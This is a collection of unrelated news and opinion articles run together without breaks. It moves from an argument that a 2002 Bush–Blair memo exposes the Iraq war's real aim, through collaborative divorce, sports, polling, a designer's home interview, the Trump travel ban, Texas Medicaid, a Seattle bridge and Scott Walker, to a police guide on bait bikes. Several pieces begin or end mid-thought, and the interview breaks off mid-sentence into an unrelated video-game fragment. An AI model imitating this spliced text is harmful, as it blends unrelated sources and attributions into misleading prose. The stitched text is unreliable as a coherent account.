Saddam Hussein’s presumed possession of WMD does not appear in the memo as the reason for the war. On the contrary after reading the memo it is difficult to avoid the impression that the whole campaign about WMD was what it surely was: an exercise in smoke and mirrors, a device to mobilise international opinion behind the war so as to insure Bush and Blair against negative consequences. That is what the memo appears to say, and it is difficult to read the memo in any other way.
Blair says the Chilcot Inquiry has confirmed he acted in good faith. This memo all but proves the contrary. When Blair was saying – as he did at the time repeatedly – that the issue was purely Saddam Hussein’s disarmament and not regime change he was not telling the truth.
We now therefore have concrete evidence of what everyone always suspected: that Bush and Blair conspired together to launch a war against a country whose purpose was to overthrow its government.
The memo incidentally also confirms that there was no immediate threat from Iraq at the time the war was planned. The memo expressly says the threat from Iraq at the time was only a “potential” one. That removes the defence that the war was launched preemptively to prevent an act of aggression by Iraq. It is established law that for that defence to apply the threat has to be an immediate one, not a potential one. The memo shows that there was no immediate threat to the US or Britain from Saddam Hussein or Iraq when the war was launched and that Blair – and Bush – did not think that there was.
There is another key point which came out of the Chilcot Inquiry Report, though it is a very technical one.
Blair obtained from Britain’s Attorney General legal advice that the war would be legal if Iraq was in very serious breach of previous UN Security Council Resolutions.
That advice – as the Attorney General admitted at the time – was contentious, with most lawyers (including the legal team at the Foreign Office) disagreeing with it. The key point however is that for Blair to rely on the advice Iraq had to be in very serious breach of previous UN Security Council Resolutions. Blair said it was, and made the legal case for war on that basis. However both then and now he has failed to explain how Iraq was in such serious breach of the previous UN Security Council Resolutions as to justify the war. After 7 years of exhaustive investigation Chilcot could not get a clear answer to that question. Given what the 28th July 2002 memo appears to say – that Bush and Blair planned the war to carry out regime change – it is hard to avoid the conclusion that the reason Chilcot could not get an answer is because there is none. Simply put, it looks like Blair said Iraq was in very serious breach of the previous UN Security Council Resolutions not because he really believed it but because doing so got him out of a legal hole and gave him a legal argument for a war he had already decided to wage for completely different reasons.
Since the war there has been much talk of bringing Blair to trial for war crimes. Up to now that has been impossible because the sort of evidence a court needs in order to find someone guilty on such a charge simply wasn’t there. Blair was always in a position to argue that he made a genuine mistake and acted at all times in good faith, however unconvincing that might be to most people
The evidence is there now. We have a document – the 28th July 2002 memo – which on the face of it confirms Blair plotted with Bush to launch a war to carry out regime change in another country, and and that the reason he gave for launching the war – to disarm Saddam Hussein’s WMD – was simply a device to win international support for a war which was planned for a completely different purpose. We also have prima facie evidence that Blair intentionally manipulated and/or misrepresented the legal advice he was given in order to give the impression that the war was legal.
Aggression – the supreme international crime – is poorly defined in law. It is clear that merely launching an armed attack on another country is not enough. However invading a country without proper cause and without authorisation from the UN Security Council simply in order to overthrow its government does appear to fit the definition of aggression. If it does not do so then it is hard to see what aggression is. As it happens we know that the lawyers at the Foreign Office were advising at the time that the war Bush and Blair were planning against Iraq was aggression.
The political and procedural obstacles in bringing Blair to trial for the crime of aggression are immense. The International Criminal Court says it has no jurisdiction and the resistance from the British political class to doing such a thing in Britain would be huge. The basis for bringing such a case however is there and the possibility can no longer be completely excluded. Already there are lawyers discussing how to do it, with suggestions that if Blair cannot be tried for the crime of aggression – which would probably require approval by parliament or at least by the government, and the setting up of a special court – he can be prosecuted in the normal way before the ordinary British courts on the same facts for lesser but still very serious offences such as misconduct of his public office. Whether that happens remains to be seen, but the basis for it – and the demand for it – is there.The couple instinctively sat at opposite sides of the table, until one of their lawyers, trained in the relatively new concept of collaborative family law, set a more comfortable tone for the talks.
Alex Crookes knew he was in for a divorce with a difference the minute he walked into a lawyer's office with his ex-wife, Lynne Maclennan.
"It was very nonconfrontational," says Crookes, who is in the midst of moving into a new home this week, a couple of blocks from his 8-year-old son and 5-year-old daughter.
So the Toronto couple, who've been together almost 15 years, share a three-storey house and two young children, plotted out their new future – and separate lives – over the course of two "very difficult" meetings.
"The first thing the lawyer said was, `Sit next to each other,'" says Crookes, 37.
Collaborative law was first introduced in Minneapolis in 1990s and made its way to Canada a decade later as a much-needed alternative to ugly court battles that could cost a fortune and leave the couple, and their kids, scarred for life.
"But really we did because (the collaborative process) forced us to move things along rather than languishing. There were some things that gave me a different perspective."
"We were laughing because we went to both meetings together, we drove in the same car, we had lunch together afterward. We said, `Do you think we really needed the lawyers?'" says Maclennan, 40.
Maclennan and Crookes once questioned whether the cost, about $6,000 each, was worth it.
"The lawyers were there to make sure that nobody was screaming or throwing coffee cups at each other, but that seemed to be their primary role," he says. "It was up to us to talk about what we were scared of, what we were worried about, what we wanted to achieve."
Collaborative practice puts the separated couple in the driver's seat, or, more appropriately, seats. While their lawyers are always in the room to offer advice or give guidance, the couple sort out for themselves how they want their life to look post-divorce, where the kids will live and how much of the time, what the primary breadwinner will pay in support.
Since then Toronto has become a "hotbed" for collaborative settlements, divorce experts say, and it's growing in popularity right across Canada. In 2000, just 75 Canadian lawyers were trained in collaborative practice. Today they number more than 2,800.
Nearby are also financial and family counselling experts who can help clear away unexpected hurdles and get the two sides back on track if things start going off the rails, without the "bottomless pit" of $300 to $600 per hour lawyer fees needed to mount a court challenge.
Thanks to the growth in collaborative practice, as well as mediation and then arbitration as last resorts if an agreement can't be reached, just 2 to 3 per cent of all divorces now end up in court, divorce experts say.
"I think as divorce rates increased and lawyers became better educated in family law, they learned about the pain and the suffering, and that slogging it out in a courtroom is a very hard way to make a living," says Philip Epstein, who is trained as a collaborative lawyer but prefers mediation. "To be in a profession where it's all about winning and losing is just too painful for all concerned."
Family law lawyer Sheila Kirsh, one of the founding members of Collaborative Practice Toronto, an umbrella group for some 81 lawyers, 17 family counsellors and 15 financial experts, did litigation for 20 years until one final court battle made her think differently.
"At the end of the day, I won, but I wasn't feeling very satisfied with what had happened. I thought there had to be a better way than going through three years of litigation, a way to have families remain intact – yes, they're going to have separate households – with both still willing to go to their children's weddings."
Divorce lawyers have had to become especially "creative" since last fall because of tanking stock prices, pension plans and house values that made it almost impossible for experts to come up with net worth calculations and determine support and the split of assets. The ongoing uncertainty has forced many lawyers to look at more open-ended agreements that can be revisited in a few months, or years, when the economy rebounds. Collaborative law lends itself especially well to that, says family law lawyer Judith Huddart.
Epstein spent decades battling it out in court, but now settles 98 per cent of his cases through mediation. Few go the next step, arbitration, in which an independent person looks at both sides of the case and makes a binding judgment.
Epstein is also trained in collaborative law, but believes it works best for couples who "are not overwrought or not overly emotional about their divorce and can treat each other as equals.
"I believe that the system works better if the lawyer has reasonable control over the process (mediation.) Collaborative law believes the client should be in control. One of the advantages of a lawyer is that I'm objective about the outcome."
Everyone agrees the key is staying out of court.
"What's ruinous for people is if they settle too late. Even if they settle in the middle of a trial, they've spent all the money," says Epstein.
Just last week, he helped settle "one of the most difficult (divorces) I've ever seen." Lawyers had already amassed "a room full" of documents, anticipating a court case.
He warned the couple repeatedly that litigation would take about 10 days and cost them at least $100,000 each. And he stressed the outcome could be highly unpredictable, depending on how the judge applied divorce case law and "spousal support guidelines" that give ranges for how much support should be paid, depending on income and length of the marriage.
In mediation, he stressed, you get to choose your own "judge." In court, one is assigned to you.
At the end of that reality check, Epstein gave the couple a day to try reaching a settlement through mediation. They had a deal by 7 o'clock that night, at a cost of about $7,500 each.
"It's a bottomless pit if you start preparing for a trial," says Epstein, which is why he recently wrote a paper for judges, urging them to talk money at every pre-trial conference – "they're shy about that" – so that couples are well aware how much they are paying their lawyer per hour, how long the case might take and the risk of having to pay court costs if they lose.
"The right time (to settle) is when the parties are emotionally ready to actually want to do business. The problem with matrimonial law is that it's sometimes about vengeance or hurt or the inability to let go. Those are poor candidates for early mediation (or collaboration.)"
Maclennan cautions that collaboration isn't a cakewalk – and since neither had had an affair or held on to some seething hatred, their separation was less complicated than many. But still, she and Crookes "had to put personal differences and desires aside to a large extent" and work hard toward their common goal of "putting the kids' well-being first."
"In order to do this we had to respect each other and learn to communicate better. It has been hard but, in the end, it's definitely worth it."
For more information, see collaborativepracticetoronto.com.On Tuesday, passengers on an Alaska Airlines flight from Anchorage to Honolulu were treated to a different kind of in-flight entertainment: a solar eclipse at 35,000 feet. It all started a year ago when an astronomer at the American Museum of Natural History realized the flight would coincide almost perfectly with the solar eclipse, a dream come true for amateur and professional astronomers alike. The problem? The flight was scheduled to leave Anchorage 25 minutes too early, and would miss the eclipse, where the moon would block the sun for nearly two minutes. In response, Alaska Airlines decided to change the flight to intercept the solar phenomenon, rerouting it just so that self-styled "eclipse geeks" could have the flight of a lifetime, the airline's blog said. Filled with astronomers, the flight went off without a hitch and the footage of the eclipse from the sky is absolutely stunning. Mike Kentrianakis, solar eclipse project manager for the American Astronomical Society, captured the experience on film, with plenty of excited shouts and cheers included.Much is made about polls and whether they are to be believed or not. Regardless of how you feel, it appears the recent events in Benghazi and troubling economic news are impacting Obama’s approval numbers in a negative fashion. He has now lost 4 points in the past 2 days of Gallup approval polling.
New Gallup: Obama 49%, Romney 44%. a 1-pt tick down for Obama from yesterday. His job approval ticks down 2 more points (4 in 2 days) to 46% — John Harwood (@JohnJHarwood) September 30, 2012
Gallup: O+5 in reg v; approval -2 to 46%. Terrible economic news sinking in #tcot #Hewitt — Hugh Hewitt (@hughhewitt) September 30, 2012
Also notable that Obama approval down to 46 in Gallup 2day. Should show up in head-to-head poll in a few days. @NolteNC @kesgardner — David Henry (@imau2fan) September 30, 2012
Media elites will probably spend a countless amount of airtime and column space explaining the “reasons” for the falling numbers and how it doesn’t really reflect poorly on the president. But, we have a theory: Maybe the people polled are just plain fed up with this administration’s nonsense.The Montreal Alouettes are interested in retaining kicker Boris Bede.
According to TSN’s Senior Correspondent Gary Lawless, talks between the Als and the 27-year-old native of Toulon, France are ongoing and that there is “optimism for a deal.”
Sounds like @MTLAlouettes are interested in retaining kicker Boris Bede. talks ongoing. optimism for a deal. @cfl #cfl — gary lawless (@garylawless) February 11, 2017
Bede joined the Alouettes in 2015 and kicked the lights out with 36 field goals made in 40 attempts.
The 6-foot-4, 225-pound kick struggled last season with just 11 field goals made in 21 attempts. He appeared in 10 games and accounted for just 51 points - 82 less than his first year in the league (133).
It was believed the Alouettes were more likely to move on from Bede midway through the season after his struggles came to a head in a 38-18 loss to the BC Lions on Aug. 4.
“More than likely we’ll bring another kicker in and give Boris Bede a rest. Or we’ll split the kicking duties,” then general manager and head coach Jim Popp said after Bede missed a 38-yarder in the Week 7 blowout loss. “We’ve given him every opportunity to work out the kinks. Things could change, but obviously we have some issues.”
The Als added international kicker Anthony Fera to the roster less than week later. Fera was impressive in eight games with the Als, going 16-for-20 with 63 points, and is now a free agent.
Despite the rough patch, it looks as though the Als believe Bede can return to 2015 form.
Lawless also reports talks between the Alouettes and veteran linebacker Kyries Hebert are moving in a positive direction, with optimism a deal can be reached ahead of free agency Tuesday.
hearing talks between @MTLAlouettes and LB Kyries Hebert moving in a positive direction. Optimism deal can be reached before FA #cfl @cfl — gary lawless (@garylawless) February 11, 2017
Hebert finished with 78 tackles and two sacks for the Alouettes last year. The 36-year-old has 472 tackles, 26 sacks, and 11 interceptions in 144 career games over 10 years, the last five with Montreal.I know you are from Tel Aviv, Israel what brought you to San Francisco?
At the age of 23 I had finished the first three years of architecture school in Tel Aviv. I then applied to several different schools after taking a year off in London and the one school that allowed me to enter into the program where I left off was CCAC, now known as CCA (California College of the Arts). It was that simple. I didn’t know anything about San Francisco, or anyone in San Francisco. I didn’t even speak English very well and after graduating, decided to stay after a short stint in New York.
What do you love about living here?
It’s one of the best places to reside and I’ve frequented quite a few places and traveled around the world. There is still so much more for me to explore but California is pretty great. There are different climates, different landscapes, and all different kinds of people. I really love living here in California.
I know you started out in architecture but then switched. This happens to quite a few architects – this morphing in a new direction – was it a clear break or a gradual decision?
That was completely random. I started out working in architecture firms in San Francisco and Berkeley and then I was turned on to user interface design as I was simultaneously phasing out architecture by designing websites. This was a while back now and before we all had smart phones and it was just at the beginnings of a revolution in that field. In fact only the other day the discussion of architecture vs. user-interface came up. Architecture is an environment for the different functions of the physical body. Sleeping, eating, and all the different rooms that entails and how they are all connected in a certain way and user interface is exactly the same. Everything is applicable from my time at architecture school. It’s a way to organize bits of information but in a digital environment. It’s how you move around and how you organize yourself. It’s very tectonic. It’s very similar to architecture in all the models of thought and in the designs. Even the terms you use are similar. ‘Flowing of space’s and ‘navigation’ So, It’s like I never really left architecture.
On that note what are you working on now?
I’m currently working on applications for mobile devices and occasionally some work on websites, but mostly applications.
Designing this house with your architect James Hill must have triggered some emotions from your days as an architect. Do you miss designing in the physical realm?
There is no missing architecture at all. In fact building this house made me realize how happy I am not being an architect. I enjoy thinking about spaces and creating this space for myself but I definitely don’t enjoy dealing with the plumber or the electrician or dealing with the code. I’m always building and thinking about building: building motorcycles, building furniture, building clothes. I take something that is existing and re-appropriate it, for example this house, it’s a traditional San Francisco Victorian and we cut it at the point of the existing house, at this threshold, and from there everything is new.
How did you end up in such a traditional house when you have a more modern aesthetic?
I had been looking for nine months or so and didn’t necessarily want to find a project and build it, but I found this place and it was the best for what I was looking for. I’m not so crazy about the neighborhood. I didn’t especially want to live in Noe Valley. I actually enjoyed living in the lower Haight, which is where I met Jim, my architect. He was my landlord. But I found this place and could see everything I wanted to do to it. It was just a question of executing it.
You mentioned the dichotomy occurring in the house already, but what was the impetus to keep the front of the house pretty traditional and the rear decidedly modern?
Well I do have respect for the original pre-1906 house as it was one of the survivors of the famous San Francisco earthquake and fire that burned nearly the whole city to the ground. I wanted to honor that history but the back of the house was a botched 1980’s remodel with teeny tiny windows facing the view. I felt that if I could open up the rear walls and take it to such extensive construction then I could do anything, and downstairs there was nothing, just a couple of posts carrying the load down.
Were there any standout or indispensable design decisions in creating your home?
There is definitely a design philosophy that is personally mine. Even someone, perhaps another architect wouldn’t make the same decisions. There are only doors in the original part of the house. There are no doors in the kitchen/living-room or down there in the bedroom. So for example in this upstairs bathroom, when I was in the army this is how we showered. It may feel cold and institutional but for me it feels so intimate. I don’t know how to explain exactly…but it’s so functional when you maintain your body, when you clean your body you want to be thorough you want to be efficient you want to have light. Did you see this movie 26 bathrooms?
No, but I’ve been meaning to.
Well, both my parents were architects and I watched this movie when I was a kid. This bathroom and the downstairs bathroom are very important to me. I clean my body every day just like everyone else, nothing crazy but, I enjoy it and these spaces allow the process of taking care of the body into something pleasurable. It’s an important space for me. And the kitchen too and they use repeat materials with the stainless steel and tiles. I like open spaces and then there is an area that is very rich and concentrated and focused.
You mention the subject of open space. I feel that so often the public as a whole is so driven by the market or the re-sale value when creating a home. There is this push to get as many bathrooms and bedrooms within the square feet available regardless of suitability or aesthetic consideration. I truly think there is a luxury to open space, or unobstructed views that we don’t allow ourselves.
It’s funny because I’m working on an application right now for a client on the phone. It’s based on the apple ios. The operating system has a certain density to it for example text vs. rows vs. how content heavy is the space. The client wants to stretch things out and make it senselessly spacious which is counterintuitive because if you think of an iphone or an ipad they are always trying to max out the space and cram as much information in that space as possible. And at this point I have more experience with user interface than with architecture but it’s very common that every client wants to put everything on the screen so you can see everything at a glance but then it becomes so dense. But this particular client is the first one to say, ‘No, let’s take space and have the design look light.’
In the downstairs bedroom for example- you never see a place like this in San Francisco, a room that is so open and then all my junk is in one place. I don’t care how much mess is in the cabinet but it’s confined to that area. That’s a high-density area and then right next to it you can move your eyes over if you want to relax for a second. So that’s… I don’t know how to put it in one word, but that’s the base of it. The same in designing applications, designing motorcycles, I like the fact that there is this juxtaposition of light open spaces and a certain point where it becomes richer.
You mentioned that your parents were |
the benefit of them. Players who just want the online experience they had in previous releases must get that too just by purchasing the game. If some of those features move to the premium list then Activision cannot in good faith sell the game at the same high price point.
This is where Kotick’s assurance comes in. He has stated for the record that the core COD experience will remain part of the boxed copy you buy. Premium will be brand new features only. If that’s the case no one can really complain and gamers can choose to invest further if they wish.President Donald Trump’s clear willingness — perhaps even desire — to offend and alienate some of America’s most critical allies in the global counterterrorism fight via the travel ban on refugees and people from seven Muslim-majority countries makes it arguably his most dangerous act among a litany of shockingly ill-advised policy moves since his inauguration a mere two weeks ago. By halting the admittance of individuals from these “terror-prone” nations, all but one of which (Iran) are host to some variety of U.S. counterterrorism activity — as well as pausing the refugee program for 120 days and blocking Syrian refugees indefinitely — Trump has in one executive order made it exponentially harder for the United States to achieve its most critical foreign-policy objective: the reduction of terrorist threats to the U.S. homeland.
There are, of course, myriad other serious problems with the travel ban, including its utter refutation of core American values and the ease with which the Islamic State and other extremist groups can exploit its propaganda value as proof that the United States is, in fact, at war with Islam. But the message the travel ban sends to governments across the Muslim world, including countries not on the list that are smart enough to see through the administration’s absurd assertions that “it’s not a Muslim ban” (i.e., all of them), will make Americans significantly less safe in the immediate term. The United States badly needs Muslim partners to help it track down and neutralize those who pose a threat to America and its allies, not to mention on countless other programs that reduce the specter of extremism in the very places the ban rightly identifies at hotbeds of radicalism.
Telling these nations, from the closest of allies to those that only begrudging allow U.S. troops or special operators on their soil, that their citizens and those of other Muslim-majority nations are too dangerous to set foot in the United States will without a doubt make those nations more hesitant to work with U.S. forces and intelligence agencies. The fact that the immigrants in question may be fleeing those same governments’ repressive actions is unlikely to prevent those governments from taking offense. Backlash will occur both at the most senior diplomatic levels and, perhaps more critically, on the ground, where the most important aspects of the counterterrorism mission, including intelligence sharing, security cooperation, and military operations, take place every day. These governments will take this action seriously, and they will take it to heart. It is difficult to understate the damage this can and will cause.
The United States has not fought a truly unilateral war in the last 200 years and has had allies and partners in every conflict in which it has participated since the founding of the republic. But in the years since 9/11 — and particularly since the disastrous Iraq War in which U.S. boots on the ground exacerbated and by some accounts ignited a deadly insurgency — U.S. military strategy has revolved around the assistance of and close partnerships with foreign civilian, military, and irregular forces. It’s an imperfect strategy, as I’ve explored in these pages and which is apparent in the state of U.S. foreign policy today, but the Barack Obama administration assessed — rightly, in my opinion — that it was better than the alternative, namely large U.S. military interventions in foreign conflicts.
Trump has given no indication that he plans to veer from this approach. In fact, he has declared that such cooperation will be at the core of his counter-Islamic State strategy, stating, “My administration will aggressively pursue joint and coalition military operations to crush and destroy ISIS, international cooperation to cut off their funding, expanded intelligence sharing, and cyberwarfare to disrupt and disable their propaganda and recruiting.” There is, therefore, no reason to think these nations’ cooperation will become less important under his reign; if anything, they will be more so.
Given, then, that Trump means to continue working by, with, and through (to borrow a phrase of art) partner nations, his travel ban shows how fundamentally he misunderstands the forces underlying the relationships that U.S. soldiers, civilians, and intelligence officials have fought and died to maintain in the years since 9/11. They are far more complex than Trump’s simplistic “let’s make a deal” approach can address. In most cases, these relationships are built on years of painstaking trust-building and negotiation. From education programs to military training exercises, economic aid to capacity building, the United States has spent billions of dollars convincing these governments that it shares their interests and views them as valuable partners.Religious leaders and a lawmaker expressed hope Wednesday that Rick Perry could be the next Republican governor to work with the Obama administration to expand healthcare coverage in the state.
“We understand that Gov. Perry is moderating his position (on Medicaid) as he sees the needs of real Texans,” said Sister Simone Campbell, executive director of NETWORK, a national Catholic social justice group. “Eventually I think he is going to have to come around because it makes total sense for Texas. We just have to give him enough room so he can save face and he’ll do the right thing.”
Campbell, who has traveled the country with the group Nuns on the Bus since their inception last year, said nine other Republican governors who initially rejected “ObamaCare” have agreed to expand their healthcare programs to meet the coverage requirements of the Affordable Care Act. She expressed hope an agreement would be reached in a special session later this year.
“He’s oozing in our direction,” Campbell said before speaking at a rally of more than a hundred activists and nuns on the south steps of the Capitol.
However, Perry remains firmly opposed to expanding Medicaid, said spokesman Rich Parsons.
Religious leaders, nuns and advocacy groups from San Antonio, Houston, Dallas/Fort Worth and Corpus Christi traveled by bus to Austin to urge lawmakers and Perry to expand Medicaid, which they say will extend coverage to more than 1.5 million needy Texans who are currently uninsured.
Texas has the highest rate of uninsured residents, 23.8 percent in 2011 — more than 6 million people, according to a report from Billy Hamilton, a former deputy comptroller for the state. The national average is 15.7 percent.
Following a morning rally, a group of four nuns and other representatives delivered more than 500 letters to a staff member in the Governor’s office.
“These are the women of faith who are intimately involved with healthcare and they know what it means for those that are uninsured to have an avenue for coverage,” said state Sen. Leticia Van de Putte, D-San Antonio, who met with advocates at the rally. “I think the (federal government) is willing to work with the Perry administration and with the Legislature to craft something that is workable.”SEATTLE -- Thousands of people turned out Saturday for festivities celebrating the opening of the new State Route 520 floating bridge across Lake Washington -- so many that the state Department of Transportation declared the event "at capacity" and halted buses that had been expected to shuttle additional people to the structure.
Gov. Jay Inslee cut an orange ribbon Saturday at the middle of the 1.5-mile-long span to commemorate the completion of work, more than 12,000 people participated in a 10K fun run, and a representative of Guinness World Records presented a certificate designating it the world's longest floating bridge -- at 7,708 feet, it's about 130 feet longer than the old one.
"This is what it's all about -- seeing years of public engagement, planning, design and construction all come to fruition," said Roger Millar, acting transportation secretary. "This grand bridge is going to serve our region well for a long, long time."
The six-lane bridge, which replaces a four-lane version built in 1963, doesn't fully open to car traffic until later this month -- April 11 for westbound traffic and April 25 for both directions. The state says it features heavier, stronger pontoons and anchors that allow the structure to withstand stronger winds and waves; a bus and carpool lane in each direction; a 14-foot-wide bike and pedestrian path; and system to collect and treat storm water, which will improve water quality in Lake Washington.
The old bridge is expected to be dismantled by the end of the year.
On Saturday, the masses strolled along the car-free pavement and enjoyed views of the lake and the mountains on a beautiful spring day. But it was so crowded that some complained about an hour or more for shuttles to make their way off the bridge, and the lines at the food trucks were formidable.
The state DOT communicated with frustrated bridge-goers by Twitter, sending messages such as "event is currently at capacity. We're working to move people on the bridge off & are halting inbound bus loads for AT LEAST an hour," and, "Water is on its way to folks waiting for shuttles.... Thank you for your patience."
The celebration also featured interactive exhibits for children focusing on science, technology, engineering and math.
Festivities were scheduled to continue Sunday, with 7,000 bicyclists joining a 20-mile ride across the bridge and through downtown Seattle streets that will be closed to car traffic.
-- The Associated PressWisconsin Gov. Scott Walker talks to a protester as a supporter grabs his sign during a visit to the Iowa State Fair on Monday. Credit: Associated Press
By
Des Moines — Shouting above protesters at the Iowa State Fair, Wisconsin Gov. Scott Walker criticized the Republican Congress and edged closer on immigration to surging billionaire Donald Trump, all in an effort to regain his standing in this key state in the race for president.
Capitalizing on the demonstrators as he has the past four years, Walker stood on a haybale-ringed stage known as the "soap box" and used the raucous exchanges to tout his mettle to conservatives. The GOP governor promised to start repeal work on President Barack Obama's health care law on his first day in the White House, contrasting that pledge with Republican leaders of Congress who campaigned on a repeal only to delay doing so this year.
"Again, unintimidated," Walker said, invoking the title of his 2013 book in response to a protester. "I am not intimidated by you, sir, or anyone else out there. I will fight for the American people."
"Go get 'em, Scott!" a supporter screamed in response.
But with his poll numbers slumping here, the governor acknowledged he was paying attention to another challenge — Trump's insurgent campaign. The polling for the businessman and reality TV star is rising along with his anti-immigration rhetoric and his latest call for deporting all immigrants who entered the United States illegally.
The governor's criticism of his fellow Republicans marks a subtle shift in his stance in the campaign, in which he has tried to avoid attacking Republicans and instead concentrated his fire on Democrats such as front-runner Hillary Rodham Clinton.
In interviews after his speech, Walker didn't make clear whether he would back Trump in seeking the deportation of all these immigrants and ending the granting of citizenship to the children born in this nation to illegal immigrants, a policy in the U.S. since the adoption of the 14th Amendment to the Constitution in 1868. While avoiding details, Walker said his policies of opposing amnesty for those immigrants and strengthening enforcement of the laws were similar to Trump's own proposals.
"Obviously, those are the same principles," Walker said.
In remarks to a reporter from MSNBC later Monday, the governor seemed to open the door to ending birthright citizenship.
"Do you think that birthright citizenship should be ended?" the reporter asked.
"Well, like I said, Harry Reid said it's not right for this country. I think that's something we should, yeah — absolutely going forward," Walker said, referring to a previous policy of the Senate Minority leader and Democratic senator from Nevada.
"We should end birthright citizenship?" the reporter asked.
"Yeah," Walker said, nodding. "To me, it's about enforcing the law...."
"We should deport children of immigrants who are not citizens," the reporter responded.
"I didn't say that. I said you need to enforce the law, which to me is focusing on E-Verify," Walker said, referring to the Internet-based federal system that employers use to check whether their employees are authorized to work in this country.
Ramon Argondona, a Peruvian immigrant who lives in Madison, traveled to Iowa to voice his disagreement with Walker, saying the governor had shifted his position on immigration to placate conservatives.
"We disagree because he changes all the time," he said after Walker's speech. "As immigrants, we work very hard."
But Jenny Turner of Burlington, Iowa, liked most of what she heard. Turner, 35, asked Walker a question about immigration after his speech, and in an interview later said she felt that Walker hadn't answered it in the same appealingly blunt way that Trump does.
Turner, a driver's education instructor, said Trump was resonating with Republicans who want politicians to act on issues like immigration. But she also was worried that Trump had never held public office or balanced a budget the way Walker had as governor.
Talking to reporters, Walker made clear that he saw something significant in the rise of candidates like Trump, businesswoman Carly Fiorina and surgeon Ben Carson.
"It's really a matter of protest," Walker said, adding that some voters were backing these candidates for now to send the message that they are "tired of politicians in Washington not listening to me. I want to make it clear, 'I hear you.'"
Walker slips in polls
After a low-profile performance in the first GOP presidential debate Aug. 6, Walker has slipped not only in the Iowa polls but also in national surveys. In a new nationwide poll by Fox News, the Wisconsin governor was tied for fifth at 6%, behind Donald Trump (25%), Ben Carson (12%), Ted Cruz (10%) and Jeb Bush (9%).
Before the debate, Walker was third in the Fox News poll at 9% behind Trump and Bush. And back in mid-July, Walker was second in the Fox News poll at 15% behind Trump.
Asked in the new Fox News poll which GOP candidate did the best in the debate, only 1% said Walker, who took a cautious approach in the debate in which he made no mistakes but drew little attention. Asked which GOP candidate did the worst, only 1% said Walker, providing more evidence the governor's performance just didn't register with Republican viewers.
Walker's appearance suggested he was seeking to avoid that outcome going forward by better tapping into the anti-Washington sentiment within his party.
Walker spent hours at the fair, downing two thick pork chops and a Leinenkugel's Summer Shandy beer while shaking the hands of supporters with his free hand. Not everyone embraced his message though.
A woman who described herself as a Red Cross volunteer from Milwaukee pressed Walker on how his policies affect working-class families.
"We appreciate nothing that has happened in Wisconsin," she said before asking him what would he tell a family struggling to make ends meet.
"I'd tell them that's the failure of the Obama economy," Walker said, arguing that he would work to grow jobs and improve worker training.
Not all the interactions were that polite. At various points, demonstrators tried to shout over Walker, and the govenor's supporters tried to take signs from the demonstrators.
In an interview afterward, Walker acknowledged that the protesters were helping him spread his message in the Republican primary and giving him credibility in the eyes of conservatives. At the moment, Walker can use all the help he can get.
For months, Walker had led his Republican rivals in the polling in this state neighboring Wisconsin. But after the GOP debate, Walker fell from that perch in the latest polling, averaging third in the past three polls in Iowa.
With Iowa's caucuses still 51/2 months away, this slippage may turn out to be of little consequence for Walker, who has plenty of time to recover. But it's an unmistakable threat for a governor who comes from just across the Mississippi River and who has a Christian background that plays well in this socially conservative state.
Craig Gilbert of the Journal Sentinel staff contributed to this report.In an effort to become more proactive in property crime prevention, and to help decrease the bicycle theft epidemic plaguing many cities and college campuses across the country, many law enforcement agencies are turning to bait bikes as a cost effective tool to capture thieves and reduce thefts.
A bait bike is a relatively valuable bicycle equipped with a hidden tracking device, sometimes multiple tracking devices. It is used by law enforcement to capture thieves. The value of the bicycle should exceed the value threshold for felony classification, making the theft of the bait bike a serious offense. This allows responding officers to make an arrest without witnessing the crime and gives the district attorney greater prosecutorial flexibility. How it works: The bait bike is left unattended in areas where bikes tend to get stolen, or where other theft crimes have recently occurred. When the bike is stolen, the tracking device automatically activates, immediately alerting officers of the theft. The bike is then tracked and recovered. The thieves are arrested.
More sting, less manpower
The concept is nothing new. U.S. agencies have been using bait bikes for years, setting out an expensive bicycle, disabling the shifters so that the bike will only travel in its lowest gear, and surrounding it with a perimeter of plain-clothes officers waiting for the bike to be stolen. The cost of running such an inefficient sting operation usually limits the use of the bait bike to perhaps a few days each year. Conversely, today’s electronic tracking technology allows a bait bike to be left unattended for days or weeks without using so much as a single man-hour until the bike is actually stolen. That means a bait mike may be deployed on a near full-time basis while officers only respond once a theft has occurred.
Deputy Garland Lew of the Placer County (Calif.) Sheriff’s Department is one proponent of utilizing bait bikes as part of his agency’s overall theft reduction strategy. Lew says, “Bait programs should become part of every law enforcement agency’s budget plan because the return on investment is enormous. Their efficiency extends beyond criminal apprehensions as conviction rates are very strong, usually without officers ever having to appear in court.”
Many agencies have also figured out that a bait bike can be very useful in solving crimes other than bike theft. Many college campus police departments will regularly leave their bait bike in the back of a pickup truck in the college parking lot when and where vehicle burglaries are occurring. The bike is very visible and a thief looking to break into a vehicle will have a hard time bypassing such a valuable opportunity. Other agencies have successfully used their bait bike to capture residential or vehicle burglars. They leave their bait on a bike rack on the back of a vehicle parked along the street in neighborhoods that have experienced recent burglaries. Because most thieves are serial in nature, the capture of one thief will usually solve countless other crimes and prevent an untold number of others.
Bait Bikes, A How-To Guide
The bike
So you have decided that you want to deploy a bait bike. What next? Finding a suitable bike is a great start. Larger agencies may have a property warehouse that can be searched for a nice bike of sufficient value. If using a used bike, it is important to get an appraisal from a bike shop to establish value, especially if trying to meet the felony value threshold. If the property warehouse is not an option, then talk to local businesses. A bike store may have a bike that they can loan or donate to the cause, or they may offer a great discount on a new bike. When purchasing a new bike, it is a good idea to buy something with minimum retail value of at least 150 percent of the felony threshold in order to allow for depreciation while maintaining your bike’s felony value. It’s also a good idea to get an appraisal each subsequent year as additional proof of value. Most bike shops will do this for free.
The most successful bait bikes are brightly colored and look expensive. Common high-quality name brands such as Specialized and Trek are always attractive, especially the higher-end models with good quality components. These bikes also hold their value well and allow for a longer useful life before depreciation takes its toll.
Selecting a tracking device
Once you have the ideal bike, you will need to figure out your tracking solution. This is the most complicated aspect of building a bait bike and certainly the most important, as the reliability of the tracking system will substantially determine the success of your bait bike program.
The oldest tracking solutions consist of motion-activated radio frequency (RF) transmitters that can be hidden within the bike, usually under or within the saddle, and then tracked using a direction-indicating receiver, similar to tracking a stolen vehicle using LoJack. While some consider this to be out-dated technology, these types of systems work very well, are simple, reliable, give constant and immediate directional updates directly to officers and can narrow down the bike’s location to a specific house, building, or vehicle.
